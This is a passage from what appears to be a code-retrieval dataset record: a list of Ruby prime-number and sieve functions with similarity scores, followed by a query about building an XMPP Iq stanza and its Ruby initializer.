primes\nend", "def get_primes\n j = 0\n\n while j < @limit \n prime_number = is_prime\n if prime_number\n @prime_numbers.push(prime_number)\n j += 1\n end\n @count += 1\n end\n\n return @prime_numbers\n end", "def sieve(n)\n (primes = [*2..n]).each do |k|\n next unless k\n (k*k..n).step(k) { |m| primes[m-2] = nil }\n end\n\n primes.compact\nend", "def sieve_eratosthenes(biggest_num)\n primes = (0..biggest_num).to_a\n primes[0] = primes[1] = nil\n\n counter = 0\n primes.each do |p|\n next unless p\n\n break if p*p > biggest_num\n counter += 1\n\n (p*p).step(biggest_num,p) { |m| primes[m] = nil }\n end\n primes.compact\nend", "def select_primes(array)\n array.delete(1)\n array.select do |num|\n (2...num).to_a.all? {|int| num % int != 0}\n end\nend", "def brute_force_primes(limit)\n \n primes = []\n complexity = 0\n # we know that 0,1 can't be prime\n # start at 2 and create a Range upto the limit\n (2..limit).each{|number|\n complexity += 1\n is_prime = true\n \n # any number is divisible by 1\n # so start at 2\n (2..number).each{|n|\n complexity += 1\n # ensure the number being tested is not the number in the loop\n unless number == n\n # continue unless the local loop value of n is a factor of number\n unless number % n != 0\n is_prime = false\n break\n end\n end\n }\n \n primes << number if is_prime\n }\n puts \"O(n**2): #{(limit**2).to_s}\"\n puts \"Complexity: #{complexity.to_s}\"\n return primes\n \nend", "def prime_numbers\n # start with the first prime number\n primes = [2]\n # find the rest of the prime numbers\n (2..1000).each do |i|\n add_next_prime_number(primes)\n end\n return primes\nend", "def eratosthenes(n)\n a = Array.new(n)\n a.each_index do |i|\n a[i] = {i: i, prime: true}\n end\n (2..Math.sqrt(n)).each do |i|\n if a[i][:prime] == true\n j = i * i\n while j < n\n a[j][:prime] = false\n j += i\n end\n end\n end\n a.select {|h| h[:prime] == true}\nend", "def squared_primes(array)\n\n a=[]\n array.each do |x| \n for i in (2..x-1)\n a << x if x % i == 0 \n end\n end\n array -= a\n array.map{ |p| p*p } \n\nend", "def solution_3(num)\n starting_time = Time.now\n\n # actual sieve of eratosthenes\n potential_primes = (2..num).to_a\n potential_primes.each_with_index do |val, index|\n if val\n index += val\n while index < num\n potential_primes[index] = nil\n index += val\n end\n else\n next\n end\n end\n\n primes = potential_primes.compact\n\n p \"Sum of first #{num} primes: #{primes.reduce(:+)}\"\n\n p \"In #{Time.now - starting_time} seconds\"\nend", "def sieve1(n)\n\tprimes = []\n\ta = Array.new(n, true)\n\t2.step(Math.sqrt(n).to_i) do |i|\n\t\tif a[i]\n\t\t\tprimes.push(i)\n\t\t\t\n\t\t\ti.step(n-1, i) do |k|\n\t\t\t\ta[k] = false\n\t\t\tend\n\t\tend\n\tend\n\n\tMath.sqrt(n).to_i.step(n-1) do |i|\n\t\tif a[i]\n\t\t\tprimes.push(i)\n\t\tend\n\tend\n\n\treturn primes\nend", "def pretentious_primes(arr, n)\n arr.map { |num| replace_with_prime(num, n) }\nend", "def prime(n)\n primes = (0..n).to_a\n primes[0] = nil\n primes[1] = nil\n\n primes.each do |current_num|\n next if current_num.nil?\n break if current_num > Math.sqrt(n)\n (current_num**2).step(n, current_num) { |current_interval| primes[current_interval] = nil }\n end\n\n primes.compact\nend", "def get_primes(n)\n primes = [2]\n pp = 0\n i = 3\n while pp < n do\n if i%2 != 0\n counter = 0\n prime = 1\n while counter < primes.length do\n if (i%primes[counter] == 0)\n prime = 0\n break;\n end\n counter += 1\n end\n if prime == 1\n primes.push(i)\n pp +=1\n end\n end\n i+=1\n end\n return primes[n-1]\nend", "def primes(max)\n array = []\n i = 2\n while i < max.abs\n if is_prime?(i)\n array << i\n end\n i += 1\n end\n array\nend", "def sieve_of_erastothenes3(n)\n primes = (0..n).to_a\n\n (2..n).each do |number|\n if primes[number]\n multiples(number, n).each do |multiple|\n primes[multiple] = nil\n end\n end\n end\n\n primes.compact.select { |num| num > 1 }\nend", "def prime_list(number_of_primes)\n return [] if number_of_primes < 1\n prime_numbers = Array.new\n for num in 2..9999999 do\n if is_prime_num(num, prime_numbers)\n prime_numbers.push(num)\n break if prime_numbers.length == number_of_primes\n end\n end\n return prime_numbers\n end", "def squared_primes(array)\n# array.find_all {|x| (2..x-1).select(){|i| x % i == 0 }.count == 0 }.map{|p| p*p}\n# Select only primes from array\n\tprime = array.find_all do |x|\n\t\t\t\t \t(2..x-1).select do |i|\n\t\t\t\t \t\tx % i == 0\n\t\t\t\t \tend\n\t\t\t\t \t.count == 0\n\t\t\t\t\tend\n# Square the selected primes and over write the initial array \n return prime.map {|p| p*p}\n \nend", "def prime_sieve(limit)\n \n limitn = limit+1\n primes = []\n \n # Fill in prime truth table\n for i in 0..limitn do\n primes[i] = true\n end\n \n primes[0] = false\n primes[1] = false\n \n primes.each_with_index{|prime,i|\n unless i < 2\n range = Range.new(i*i,limitn)\n range.step(i) {|index| primes[index] = false}\n end\n }\n \n true_primes = []\n primes.each_with_index{|value,i|\n true_primes << i if value == true\n }\n \n return true_primes\n \nend", "def specific_prime(n)\n\na = (2..n) # list of integers 2 through \nprimes = Array.new\n\nprimes = a.select { |x| (2..Math.sqrt(x)).none? { |d| (x % d).zero? }}\n\nputs primes[10000]\n# answer => 104,743\n\nend", "def get_consecutive_prime_below_one_million(primes)\n sumation = 0;\n prime_number_list = []\n number_of_primes = 0 \n primes.each_with_index do | prime_number , i |\n # puts \"#{prime_number} - #{i}\"\n @sum = @sum + prime_number\n @primeSum[i+1] = @sum if @sum < @limit;\n end\n # puts \"#{@primeSum}\"\n\n count_of_primeSum = @primeSum.length\n number_of_primes = 1 \n count_of_primeSum.times do |i|\n for j in (count_of_primeSum - 1).downto(i + number_of_primes ) do\n difference = @primeSum[j] - @primeSum[i]\n\n if (j-i > number_of_primes) && (difference < limit) && ( primes.include? difference)\n # puts \"#{i}--#{j}\"\n \n prime_number_list = primes[i...j]\n number_of_primes = j-i\n sumation = difference \n end\n end\n end\n @result[:sumation] = sumation \n @result[:number_of_terms] = number_of_primes \n @result[:prime_number_list] = prime_number_list \n\n @result\n end", "def anti_prime?(num)\n counter = count_divisors(num)\n counters = []\n \n (1...num).each do |i|\n if i.even? #unnecessary to add .even\n counters << count_divisors(i)\n end\n end\n counters.each do |c| \n if c > counter\n return false\n end\n end\n true\nend", "def primeSieve(n)\n s = (0..n).to_a\n s[0] = s[1] = nil\n s.each do |p|\n next unless p\n break if p * p > n\n (p*p).step(n, p) { |m| s[m] = nil }\n end\n s.compact\n end", "def primes_below(n)\n a = 2\n output_array = []\n while a < n\n if is_prime?(a)\n output_array.push(a)\n end\n a = a + 1\n end\n return output_array\nend", "def eratosthenes(limit)\n nlist = [nil, nil, *2..limit]\n (2..Math.sqrt(limit)).each do |x|\n (x ** 2..limit).step(x) { |y| nlist[y] = nil } if nlist[x]\n end\n nlist.compact!\nend", "def primes_sum\n primeArr = []\n num = 2\n while num < 2000000\n if is_prime num\n primeArr << num\n end\n num += 1\n end\n primeArr.reduce(:+)\nend", "def find_primes(input)\n\t\n\tprimes = Array.new\n\t\n\tlimit = Math.sqrt(input)\n\t\n\tnumber_to_test = 2\n\t\n\tif number_to_test > limit\n\t\treturn Array[input]\n\tend\n\t\n\twhile input % number_to_test != 0 && number_to_test < limit\n\t\tnumber_to_test += 1\n\tend\n\t\n\tif input % number_to_test == 0\n\t\treturn find_primes(number_to_test) + find_primes(input/number_to_test)\n\tend\n\n\treturn Array[input]\n\t\t\nend", "def find_primes(input)\n\t\n\tprimes = Array.new\n\t\n\tlimit = Math.sqrt(input)\n\t\n\tnumber_to_test = 2\n\t\n\tif number_to_test > limit\n\t\treturn Array[input]\n\tend\n\t\n\twhile input % number_to_test != 0 && number_to_test < limit\n\t\tnumber_to_test += 1\n\tend\n\t\n\tif input % number_to_test == 0\n\t\treturn find_primes(number_to_test) + find_primes(input/number_to_test)\n\tend\n\n\treturn Array[input]\n\t\t\nend", "def squared_primes(array)\n prime = array.find_all do |x| \n divisible = (2..x-1).select {|i| x % i == 0 }\n divisible.count == 0\n end\n prime.map{|p| p*p}\nend", "def primes (n)\r\n primes = Array.new(n) { |index| index+=1 }\r\n return primes.select { |x| factors(x).length == 2 }\r\nend", "def anti_prime?(num)\n max = 0\n sum_i_array = []\n (1..num).each do |n|\n sum_i = 0\n (1..n).each { |i| sum_i += 1 if n % i == 0 }\n sum_i_array << sum_i\n end\n sum_i_array[-1] == sum_i_array.max\nend", "def prime_sieve(n)\n\tarr = (0..n).to_a\n\tfor idx1 in 2..n\n\t\tnext if arr[idx1] == nil\n\t\tidx2 = idx1 ** 2\n\t\twhile idx2 < n\n\t\t\tarr[idx2] = nil\n\t\t\tidx2 += idx1\n\t\tend\n\tend\n\tarr.compact[2..-2]\nend", "def prime_sieve(n)\n\tarr = (0..n).to_a\n\tfor idx1 in 2..n\n\t\tnext if arr[idx1] == nil\n\t\tidx2 = idx1 ** 2\n\t\twhile idx2 < n\n\t\t\tarr[idx2] = nil\n\t\t\tidx2 += idx1\n\t\tend\n\tend\n\tarr.compact[2..-2]\nend", "def pretentious_primes(arr, num)\nend", "def eratosthenes_sieve(top)\n sieve = []\n (2..top).each { |i| sieve[i] = i }\n for i in 2 .. Math.sqrt(top)\n next unless sieve[i]\n (i*i).step(top, i) do |j|\n sieve[j] = nil\n end\n end\n sieve.compact\nend", "def find_primes\n canidates = (0..@max_num).to_a\n k=2\n while(k<= canidates.size/2)\n j=2\n while(j<= canidates.size/2)\n prod = k*j\n if prod <= @max_num\n canidates[prod] = nil\n end\n j+=1\n end\n k+=1\n end\n res = canidates.compact\n res.shift(2)\n res\n end", "def simpleSieve(limit)\n\n i = 2\n\tmark = initArray(limit);\n\tuntil i*i >= limit do\n\n\t\tif mark[i] == false\n\t\t\t# If not marked yet, then its a prime\n\t\t\t$prime.push(i);\n\n\t\t\tj = i;\n\t\t\tuntil j >= limit do\n\n\t\t\t mark[j] = true\n\t\t\t j += i\n\n\t\t\tend\n\t\tend\n\t\ti=1+i\n\n\tend\n\nend", "def prime2(nprime)\n\n primes = [2]\n factors = {}\n\n num = 3\n while primes.size < nprime do\n\n root = Math.sqrt(num).floor\n isprime = true\n\n primes.each{ |prime|\n break if prime > root\n if num % prime == 0\n isprime = false\n break\n end\n }\n\n primes << num if isprime\n num += 1\n\n printf(\"\\r%d\", primes.size) if primes.size % 1000.0 == 0\n\n end\n\n return primes\n\nend", "def odd_not_prime(x)\n full_arr = (1..x).to_a\n odd_arr = full_arr.select { |x| x.odd? }\n odd_and_prime = odd_arr.select { |x| !prime?(x) }\n odd_and_prime.size\nend", "def circular_primes(max)\n idx = 2 #numbers lower than 2 aren't prime\n circ_primes = []\n\n while idx<max\n if only_odd_digits?(idx) #Check to see if all digits in number are odd\n if is_circular_prime?(idx)\n circ_primes << idx\n end\n end\n\n if idx%2==0 #Only check odd numbers, because evens besides 2 aren't prime\n idx += 1\n else\n idx +=2\n end\n end\n\n return circ_primes.length\nend", "def sieve_eratosthenes(len)\r\n\tprimes = [2]\r\n\tn = 2\r\n\r\n\t# Keep finding primes until requested length is reached\r\n\tuntil primes.length == len\r\n\t\t# Increase next number to test by one\r\n\t\tn += 1 \r\n\r\n\t\t# Test n against all numbers in prime array\r\n\t\t# If n is divisible by a prime, break and get next number to test\r\n\t\tis_prime = true\r\n\t\tprimes.each do |p|\r\n\t\t\tif n%p == 0\r\n\t\t\t\tis_prime = false \r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\t\t# If n is not divisible by previous primes, push to primes array\r\n\t\tprimes << n if is_prime\r\n\tend\r\n\tputs primes.last\r\nend", "def consecutive_prime_below_one_million\n @max_limit = 1000_000\n generate_prime_numbers()\n # number_of_primes = 0\n result = 0\n\n count_prime_sum = @prime_numbers_sum.length\n number_of_primes = 1\n # i_index = 0\n count_prime_sum.times do |i_index|\n for j in (count_prime_sum - 1).downto(i_index + number_of_primes ) do\n difference = @prime_numbers_sum[j] - @prime_numbers_sum[i_index]\n if (j - i_index > number_of_primes) && difference < @max_limit && ( @prime_numbers.include? difference) #\n number_of_primes, result = j - i_index, difference\n break\n end\n end ## end of j\n end ## end of i\n\n puts '=============================================================================================='\n puts 'Q2: Which prime, below one million, can be written as the sum of the most consecutive primes?'\n puts \"Sol: Result For Finding consecutive prime below #{@max_limit} : #{result}, and \\n Number of primes in those are #{number_of_primes}\"\n puts '=============================================================================================='\n\n end", "def pretentious_primes(arr, n)\n pretentious_primes = []\n\n if n > 0\n arr.each do |x|\n primes = []\n i = (x + 1)\n while primes.length <= n\n primes << i if prime?(i)\n i +=1\n end\n pretentious_primes << primes[n-1]\n end\n elsif n < 0\n arr.each do |x|\n primes = []\n i = (x - 1)\n while primes.length <= -n\n if i <= 1\n primes << nil\n else\n primes << i if prime?(i)\n end\n i -=1\n end\n pretentious_primes << primes[(-n)-1]\n end\n else\n pretentious_primes = arr\n end\n pretentious_primes\nend", "def ten\n acc = 0\n (find_primes_below 2000000).each do |i|\n acc = acc + i\n end\n return acc \nend", "def primes(n) \n max = Math::sqrt(n).truncate\n (2..max).each {|val|\n if n % val == 0 then\n p val\n primes(n/val)\n return\n elsif val == max then\n p n\n return\n end\n }\nend", "def distinct_primes(n)\n 2.step do |i|\n nums = []\n tuples = [] # Each element is a 2-tuple of [prime, factor]\n j = i\n n.times do \n nums << j\n tuples << j.prime_division \n j += 1\n end\n next unless digits_equal(tuples, n)\n return nums if distinct_factors(tuples)\n end\nend", "def squared_primes(array)\n array.find_all{|x| (2..x-1).select(){|i| x % i == 0}.count == 0 && x > 1}.map{|p| p*p}\nend", "def squared_primes(array)\n primos = array.find_all{|x| (2...x).select(){|i| x % i == 0 }.count == 0 } \n primos.map{|p| p*p}\nend", "def p7\n\tprimes = [2]\n\t(1...10001).each do\n\t\tprime = next_prime(primes[-1])\n\t\tprimes << prime\n\tend\n\tprimes[-1]\nend", "def count_primes(number)\n # create an array from 2-num\n # for each number in the array of possible primes\n # modulo the number by each n\n # if the number % n is 0, it's not a prime number\n # unless the number and n are the same\n possible_primes = (2...number).to_a\n possible_primes.select! do |num|\n # need to return true if num is prime, false if it is not\n # binding.pry if num == 3\n half_num = num\n results = (2...half_num).select do |n|\n # if num % n == 0, means that n evenly divides into num making it not prime\n num % n == 0\n end\n results.empty?\n # any number within results evenly divided into the num\n # making the num not prime\n # so if results is empty, it means that nothing divided into the num\n # making the num prime\n end\n possible_primes.count\nend", "def prime(number)\n prime_numbers = []\n (2..number).each do |current_number|\n if is_prime? current_number\n prime_numbers << current_number\n end\n end\n return prime_numbers\nend", "def primes_up_to(n)\n raise \"Need an integer >= 2 to find primes\" unless n.is_a?(Integer) && n >= 2\n primes = (0..n).to_a\n primes[0..1] = [nil, nil]\n p = 2\n while true do\n (p .. n/p).each do |i|\n primes[i*p] = nil\n end\n break unless p = primes.index { |x| !x.nil? && x > p }\n end\n primes.compact!\n end", "def sieve_of_eratosthenes(max)\n list = Array.new(max + 1, true)\n list[0] = false\n list[1] = false\n list.each_with_index do |bool, index|\n if bool\n i = 0\n while (index ** 2 + (index * i)) <= max\n list[index** 2 + (index * i)] = false\n i += 1\n end\n end\n end\n list\nend" ]
[ "0.77094036", "0.7673483", "0.76353824", "0.7631506", "0.75866485", "0.757533", "0.74879664", "0.74868196", "0.7481989", "0.74782383", "0.7461059", "0.7446706", "0.7420182", "0.74109215", "0.7408349", "0.73917246", "0.73878056", "0.7342164", "0.73348445", "0.7331727", "0.7314865", "0.72642934", "0.7251623", "0.7247136", "0.7242055", "0.7241285", "0.7224035", "0.7220744", "0.7213219", "0.72099644", "0.7208597", "0.71920854", "0.7156986", "0.7143565", "0.7127329", "0.71199924", "0.71146095", "0.7113833", "0.71053135", "0.70875496", "0.70701474", "0.7056083", "0.70560634", "0.70533574", "0.70459664", "0.7043814", "0.7039306", "0.7036029", "0.7027866", "0.7026274", "0.7023796", "0.70188403", "0.70122653", "0.7004634", "0.69953984", "0.698071", "0.69784", "0.6972674", "0.695967", "0.6956623", "0.6956097", "0.6952249", "0.69499284", "0.69421214", "0.6928326", "0.6926687", "0.69255114", "0.6918911", "0.6894706", "0.6892928", "0.6892313", "0.68916214", "0.6887971", "0.6886099", "0.6865529", "0.6865529", "0.6865351", "0.686504", "0.6862422", "0.68554056", "0.68554056", "0.6854526", "0.6852766", "0.6849266", "0.68415076", "0.6822165", "0.6788376", "0.6787426", "0.67794573", "0.6774353", "0.67727286", "0.67651767", "0.67638326", "0.6760555", "0.6759815", "0.67547196", "0.6732851", "0.6731824", "0.67295414", "0.67224264", "0.67164576" ]
0.0
-1
~ Toggle with Thumbnail view.
def switchto_listview() @browser.button(:class, "btn icon-list-view").click end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show_item_thumb(document)\n if document.do_url\n link_to(\n thumbnail_image_tag(document, css: ''),\n document.do_url\n )\n else\n thumbnail_image_tag(document, css: '') + visit_partner_button(document)\n end\n end", "def thumbnail(image_options = {})\n return super if block_given?\n return @thumbnail if @thumbnail\n\n return if @show\n\n component = @thumbnail_component || presenter.view_config.thumbnail_component\n render(component.new(presenter: presenter, counter: @counter, image_options: image_options))\n end", "def thumbnail!\n image.recreate_versions! if thumbnail_coordinates_changed?\n end", "def thumbnail_image\n end", "def thumbnail\n if user_signed_in?\n send_thumbnail\n else\n evaluate_thumbnail_visibility\n end\n end", "def set_thumbnail\n @thumbnail = Thumbnail.find(params[:id])\n end", "def toggle\n if visible?\n hide\n\n else\n show\n\n end\n end", "def quick_thumbnail(how, what)\n if how == :pos\n if what.is_a? Fixnum\n what = [0, what]\n end\n end\n QuickThumbnail.new(self, how, what, parent_widget, window_id, :thumbnail)\n end", "def show_collection_thumb(document)\n if document.md_url\n link_to(\n thumbnail_image_tag(document),\n document.md_url\n )\n else\n # No other link available, so link thumb to internal collection homepage\n index_collection_thumb(document)\n end\n end", "def thumb_link\n \"/images/pictures/#{self.id}.jpg\"\n end", "def index_item_thumb(document)\n if document.do_url\n link_to(\n thumbnail_image_tag(document),\n document.do_url\n )\n else\n link_to(\n thumbnail_image_tag(document),\n solr_document_path(document.id)\n )\n end\n end", "def thumbnail(name)\n name_li(name).link(:title=>\"View this item\").image.src\n end", "def index_collection_thumb(document)\n image = thumbnail_image_tag document\n link_to(\n image,\n collection_home_path(document.id)\n )\n end", "def toggle\n toggle_icon_display\n restart_finder\n icons_showing?\n end", "def toggle!\n self.featured = !self.featured\n save\n end", "def thumbnail(size); end", "def thumbnail_is_null_if_false\n self.thumbnail = nil unless self.thumbnail?\n end", "def toggle_featured!\n self.update_attribute(:featured, !self.featured?)\n self.featured?\n end", "def thumbnail\n \tobject.file.url(:thumb)\n end", "def instagram_thumbnail(image_options={})\n h.link_to photo.url, target: \"_blank\" do\n h.image_tag photo.thumbnail_url, image_options\n end\n end", "def toggle\n wait\n $browser.find_element(:xpath, \"#{@locator}/div[@class='collapsibleHeader']/img\").click\n end", "def toggle_delete_image!(albid, imgid)\n if image(albid, imgid)[:deleted]\n undelete_image!(albid, imgid)\n :undeleted\n else\n delete_image!(albid, imgid)\n :deleted\n end\n end", "def admin_compact_view(template)\n # _path instead of _url to keep admin session cookie which is lost when changing domains\n url_method = Neofiles.is_admin?(template) ? :neofiles_image_nowm_path : :neofiles_image_path\n template.neofiles_img_link self, 100, 100, {}, target: '_blank', href: template.send(url_method, self)\n end", "def thumbnail_url\n @thumbnail_url ||= Thumbnail.new(self).url\n end", "def thumbnail(geometry)\n \t mogrify(:thumbnail, geometry)\n \t self\n end", "def thumb_for(document, size)\n image_tag document.thumb(size, self)\n end", "def thumbnail_path\n \"t_\" + image_path\n end", "def thumb_url\n image.url(:thumbnail)\n end", "def thumb_url\n image.url(:thumbnail)\n end", "def toggle\n @toggle ||= toggle_class.new(self)\n end", "def toggle\n\t\t@toggle ||= Toggle.new(self)\n\tend", "def toggle\n @raid.toggle\n redirect_to :back\n end", "def image_path\n thumbnail_url\n end", "def toggle_item\n return unless item.toggable?\n item.toggle\n RPG::SE.new(H87Options::TOGGLE_SOUND).play\n refresh\n activate\n end", "def toggle_item\n return unless item.toggable?\n item.toggle\n RPG::SE.new(H87Options::TOGGLE_SOUND).play\n refresh\n activate\n end", "def thumbnail_path\n \"t_#{image_path}\"\n end", "def display_image \r\n self.image.variant(resize_to_limit: [1000, 1000]) \r\n end", "def toggle_grid\n if @show_grid\n self.show_grid = false\n else\n self.show_grid = true\n end\n end", "def toggle_featured\n authorize! @cookbook\n\n @cookbook.update(featured: !@cookbook.featured)\n\n redirect_to(\n cookbook_path(@cookbook),\n notice: t(\n \"cookbook.featured\",\n cookbook: @cookbook.name,\n state: @cookbook.featured? ? \"featured\" : \"unfeatured\"\n )\n )\n end", "def thumburl\n thumb_path\n end", "def filter_toggle_link(fsp, options = {})\n fsp_new = fsp.dup.next_filter\n icon = image_path(fsp.filter_icon)\n html_options = {:title => options[:title] || fsp_new.filter_description}\n link_to(image_tag(icon, :id => 'fs_toggle'), self.send(fsp_new.url_writer, fsp_new.get_params), html_options)\n end", "def filter_toggle_link(fsp, options = {})\n fsp_new = fsp.dup.next_filter\n icon = image_path(fsp.filter_icon)\n html_options = {:title => options[:title] || fsp_new.filter_description}\n link_to(image_tag(icon, :id => 'fs_toggle'), self.send(fsp_new.url_writer, fsp_new.get_params), html_options)\n end", "def css_classes\n super + ['show-image']\n end", "def thumb_url\n self.source.thumb.url\n end", "def show\n maybe_update_aspect_ratio @image\n end", "def toggle\n\t\t@gridOn = !@gridOn\n\tend", "def toggle\n if style![:display] == :none\n show\n else\n hide\n end\n end", "def toggle_favorite_song(song_instance)\n if song_instance.favorite \n song_instance.favorite = false\n else\n song_instance.favorite = true\n end\n end", "def thumbnail_url\n return self.endpoint.thumbnail_url(self.id)\n end", "def link_to_show(path)\n link_to image_tag('icons/001_38.png',\n :size => ICON_SIZE,\n :alt => 'Show'), path\n end", "def thumbnail_path(options={})\n thumb = options[:thumb] || :thumb\n if has_thumbnail?\n public_filename(thumb)\n elsif !options[:no_default]\n content_icon\n end\n end", "def index\n @thumbnails = Thumbnail.all\n end", "def thumbnailable?\n false\n end", "def preview\n end", "def preview\n end", "def edit_images\n render :partial => \"edit_image_info_thumbs\"\n end", "def change_picture\n self.div(:class=>\"entity_profile_picture_down_arrow\").fire_event(\"onclick\")\n self.link(:id=>\"changepic_container_trigger\").click\n self.class.class_eval { include ChangePicturePopup }\n end", "def clubthumbnail_tag(club)\n image_tag(club.clubavatar.thumbnail_url, :border => 0)\n end", "def posterPhoto(activity)\n shouldShow = case activity_type(activity)\n when \"Photo\"\n true\n when \"Friendship\"\n true\n else\n false\n end\n if shouldShow\n image_link(activity.owner, :image => :small)\n end\n end", "def get_thumbnail_url\n nil\n end", "def is_main_image?\n self.primary_image == true\n end", "def preview?\n false\n end", "def thumbnail_tag(image_options = {}, url_options = {})\n value = thumbnail_value(image_options)\n return value if value.nil? || url_options[:suppress_link]\n\n view_context.link_to_document document, value, url_options\n end", "def set_thumbnail\n dir_name = File.dirname(@path)\n\n if File.exists?(dir_name + '/thumbnails/' + @file_name)\n @thumbnail = dir_name + '/thumbnails/' + @file_name\n @relative_thumbnail_path = @thumbnail.sub(Home::CONTENT_ROOT_DIRECTORY_REGEXP, '')\n else\n @thumbnail = @path\n @relative_thumbnail_path = @relative_path\n end\n end", "def startIndivThumbnail image\n return \"\n <li class='span3'>\n <div class='thumbnail'>\n <img id='peopleImg' src= #{image} >\n <div class='caption'> \"\n end", "def thumbnail_tag image_options = {}, url_options = {}\n value = thumbnail_value(image_options)\n return value if value.nil? || url_options[:suppress_link]\n\n view_context.link_to_document document, value, url_options\n end", "def toggle\n @css_class << 'click-to-toggle'\n return self\n end", "def edit_real_picture\n end", "def square_url\n thumb_url\n end", "def show; @showing = false; end", "def update_thumbnails\n (thumb_glossary_terms + thumb_observations + profile_users).each do |obj|\n obj.remove_image(self)\n end\n end", "def thumbnail_builder\n ::ManifestBuilder::ThumbnailBuilder\n end", "def to_thumb(c)\n current = @doc[c]\n if current.respond_to?(:[])\n \"<img src='/gridfs/#{@doc[c]['stash_thumb_gif']}' width='100' onerror=\\\"this.style.display='none'\\\" alt='Thumb' />\\n\"\n end\n end", "def modify_measure_img_click\n target_name = @data_mea['measure_target']['name_for_add']\n data_list = qone_data_list(measure_target_list_table,\"style*='display:none'\",:all)\n data_list.operate(target_name,0,:edit,2)\n end", "def toggle\n action(action: Actions::TOGGLE)\n self\n end", "def thumbnail_url\n company.image.url(:thumbnail)\n end", "def toggle\n cmd = \"{\\\"id\\\":7,\\\"method\\\":\\\"toggle\\\",\\\"params\\\":[]}\\r\\n\"\n request(cmd)\n end", "def thumbnail_url\n return '' if self.variant_image_thumbnail.blank?\n self.variant_image_thumbnail.filename.url\n end", "def no_item_thumb_links\n no_column.links(:class => \"img\", :href => /.*/) # ---------------------------------- EVERYTHING USING THIS NEEDS REPLACING!!!!!!!!\n end", "def fake_thumbnail(commit_id)\n src = File.join(Rails.public_path, 'mini_dir.png')\n FileUtils.ln_s src, image_for(commit_id, 'thumbnails')\n end", "def show\n @limages = @same.limages\n end", "def toggle\n style[:hidden] = !style[:hidden]\n update_visibility\n end", "def thumb_with_remove_and_default(image, remove_method = :remove_images, default_method = :default_image_id, *args)\n @template.content_tag(:li, :class => \"ai-wrapper\") do\n @template.content_tag(:div, @template.link_to( @template.image_tag(image.url), image.url(:large), :class => \"lightbox\") ) +\n @template.content_tag(:div) do\n @template.check_box_tag(\"#{object_name}[#{remove_method}][]\", image.id) + \" remove\"\n end +\n @template.content_tag(:div) do\n radio_button(default_method, image.id) + \" default\"\n end\n end\n end", "def show_verification_photo var\n\t\tmutate.verification_photo_preview_shown true\n\t\tGalleryStore.toggle_open true\n\tend", "def display_image\n image.variant(resize_to_limit: [500,500])\n end", "def thumb_src(canvas = false)\n self.fb_thumb || \"/images/pending_video#{'_fb' if canvas}.png\"\n #FileTest.exists?(\"#{Rails.root.to_s}/public/#{thumb}\") ? thumb : \"#{DEFAULT_IMG_PATH}thumbnail.jpg\"\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def toggle(instance)\n # do nothing\n end", "def toggle\n set_switch(!self.switch) if @switch\n end", "def link_action_show(path = nil)\n path ||= path_args(entry)\n link_action ti(:\"link.show\"), 'zoom-in', path\n end", "def link_action_show(path = nil)\n path ||= path_args(entry)\n link_action ti(:\"link.show\"), 'zoom-in', path\n end", "def media_for_collection(medias)\n result = ''\n medias.each do |media|\n result << render_background_thumbnail(media) do\n link_to(image_tag('view.png'), media_view_path(media),\n :title => media.title, :class => 'photo_link collection_view') <<\n check_box_tag(\"out_#{media.id}\", \"1\", false, :name => \"media[#{media.id}]\", :class => 'out_collection')\n end\n end\n result\n end", "def render_work_thumbnail(page)\n image_slider = page.find_elements(only: ['image_slider',\n 'image_gallery']).first\n\n if image_slider && image_slider.nested_elements.present?\n Alchemy::PictureView.new(\n image_slider.nested_elements.first.ingredients.first,\n { size: '170x170', crop: true },\n { class: 'dh-works-page-thumbnail' }\n ).render\n else\n image_tag('question_mark.png', alt: 'No preview found')\n end\n end", "def thumbnail\n thumbnails[3]\n end", "def toggle\n if on?\n off\n else\n on\n end\n end", "def thumbnail_value(image_options)\n super image_options.reverse_merge(loading: 'lazy')\n end" ]
[ "0.63446397", "0.63217145", "0.62643224", "0.59880596", "0.59397095", "0.5828459", "0.5825824", "0.576284", "0.57494825", "0.5693818", "0.56882113", "0.5678401", "0.56544733", "0.5653719", "0.5636917", "0.5549883", "0.55370533", "0.5492245", "0.546702", "0.5409986", "0.5399225", "0.5376684", "0.53684235", "0.53301656", "0.53219414", "0.53201", "0.5313678", "0.53067464", "0.53067464", "0.5285342", "0.52826613", "0.5282434", "0.5271269", "0.52554584", "0.52554584", "0.52458215", "0.52379906", "0.52357304", "0.52241874", "0.52220285", "0.52045333", "0.52045333", "0.5198464", "0.51800716", "0.51651895", "0.5164", "0.51602334", "0.5148301", "0.5111626", "0.5108805", "0.51039135", "0.50977474", "0.509675", "0.5092236", "0.5092236", "0.509069", "0.5085809", "0.5084036", "0.5083765", "0.50741214", "0.5038801", "0.50371623", "0.5032982", "0.5030609", "0.50235146", "0.5021753", "0.5018598", "0.5013998", "0.5009743", "0.4997063", "0.49901628", "0.49877328", "0.49845055", "0.49787894", "0.4976445", "0.4976", "0.49703208", "0.49700782", "0.4969805", "0.49684373", "0.4967394", "0.49619505", "0.49546528", "0.4952437", "0.49463764", "0.49411064", "0.49374145", "0.49374145", "0.49374145", "0.49374145", "0.49374145", "0.49374145", "0.49366465", "0.49331734", "0.492423", "0.492423", "0.49218604", "0.49172273", "0.49142808", "0.4912752", "0.49119818" ]
0.0
-1
Build a new stanza type:: [Symbol] or nil, see Iqtype to:: [JID] Recipient
def initialize(type = nil, to = nil) super("iq") if not to.nil? set_to(to) end if not type.nil? set_type(type) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
